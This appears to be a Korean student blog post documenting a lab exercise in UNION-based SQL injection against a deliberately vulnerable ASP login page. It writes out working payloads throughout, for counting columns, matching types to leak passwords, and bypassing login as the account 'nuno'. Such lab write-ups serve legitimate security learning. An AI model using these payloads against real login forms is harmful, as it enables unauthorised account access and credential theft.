yuil :: SecOps

[WebSec] SQL Injection 실습 - UNION 본문

실습/Web Security 실습

[WebSec] SQL Injection 실습 - UNION

yuil.lee 2025. 10. 21. 11:08
UNION을 이용한 데이터 알아내기
win2k
webhack
SELECT	user_id, user_pw, age
FROM	member
WHERE	user_id='nuno'

SELECT	strName, strPassword
FROM	board

실행 결과

SELECT	user_id, user_pw, age
FROM	member
WHERE	user_id='nuno'
UNION
SELECT	strName, strPassword
FROM	board

두 개의 쿼리문 필드 개수가 다르다
SELECT	user_id, age
FROM	member
WHERE	user_id='nuno'
UNION
SELECT	strName, strPassword
FROM	board

데이터 타입이 다르지만 비밀번호가 노출된다.
SELECT	user_id, user_pw
FROM	member
WHERE	user_id='nuno'
UNION
SELECT	strName, strPassword
FROM	board

데이터 타입을 같게하면 비밀번호를 알 수 있다.

 

member_login_check.asp

select user_id, user_pw, name, email, homepage 
from member 
where user_id='' and user_pw=''
공격자는 해당 쿼리를 모르지만 select 구문의 필드 개수를 확인해야한다.

 

-- id	: anything' union select 1--
-- pw	: dkanrjsk

select user_id, user_pw, name, email, homepage 
from member 
where user_id='anything' union select 1--' and user_pw='dkanrjsk'

필드가 1개는 아니다

-- id	: anything' union select 1,1--
-- pw	: dkanrjsk

select user_id, user_pw, name, email, homepage 
from member 
where user_id='anything' union select 1,1--' and user_pw='dkanrjsk'

두개도 아님

 

...

-- id	: anything' union select 1,1,1,1,1--
-- pw	: dkanrjsk

select user_id, user_pw, name, email, homepage 
from member 
where user_id='anything' union select 1,1,1,1,1--' and user_pw='dkanrjsk'

에러가 나지 않고 실행된다

 

xp
webhack
anything' union select 1--

...

anything' union select 1,1,1,1,1--

필드 5개 입력시 로그인이 된다.

하지만 db에 없는 계정인데 로그인이 되어 db에 대한 정보를 알 수 없다.
조건에 해당하는 정확한 정보가 있어야한다 - id를 알고있어야 한다

 

win2k
# nuno 계정 공격

-- id	: nuno' union select 1,1,1,1,1--
-- pw	: dkanrjsk

select user_id, user_pw, name, email, homepage 
from member 
where user_id='nuno' union select 1,1,1,1,1--' and user_pw='dkanrjsk'

형변환 오류가 뜬다.- 첫번째 필드가 id와 관련된 필드인걸 확인

 

# 첫번째 필드 문자열로 바꿈

-- id	: nuno' union select '1',1,1,1,1--
-- pw	: dkanrjsk

select user_id, user_pw, name, email, homepage 
from member 
where user_id='nuno' union select '1',1,1,1,1--' and user_pw='dkanrjsk'

두 번째 필드값이 반환됨

-- id	: nuno' union select '1','1',1,1,1--
-- pw	: dkanrjsk

select user_id, user_pw, name, email, homepage 
from member 
where user_id='nuno' union select '1','1',1,1,1--' and user_pw='dkanrjsk'

이름 확인

-- id	: nuno' union select '1','1','1',1,1--
-- pw	: dkanrjsk

select user_id, user_pw, name, email, homepage 
from member 
where user_id='nuno' union select '1','1','1',1,1--' and user_pw='dkanrjsk'

이메일 확인

-- id	: nuno' union select '1','1','1','1',1--
-- pw	: dkanrjsk

select user_id, user_pw, name, email, homepage 
from member 
where user_id='nuno' union select '1','1','1','1',1--' and user_pw='dkanrjsk'

정상 실행 된다.

 

xp
nuno' union select 1,1,1,1,1--

nuno' union select '1',1,1,1,1--

nuno' union select '1','1',1,1,1--

nuno' union select '1','1','1',1,1--

nuno' union select '1','1','1','1',1--

로그인 성공 - 정상적인 계정은 아님

win2k
nuno 계정으로 로그인 방법
# user_id 기준 역정렬

-- id	: nuno' union select '1','1','1','1',1 order by user_id desc--
-- pw	: dkanrjsk

select user_id, user_pw, name, email, homepage 
from member 
where user_id='nuno' union select '1','1','1','1',1 order by user_id desc--' and user_pw='dkanrjsk'

역정렬되어 결과 반환

역정렬되어 결과를 반환하기 때문에 해당 계정으로 로그인이 가능할것

 

xp
nuno' union select '1','1','1','1',1 order by user_id desc--

nuno 계정으로 로그인이 된다
반응형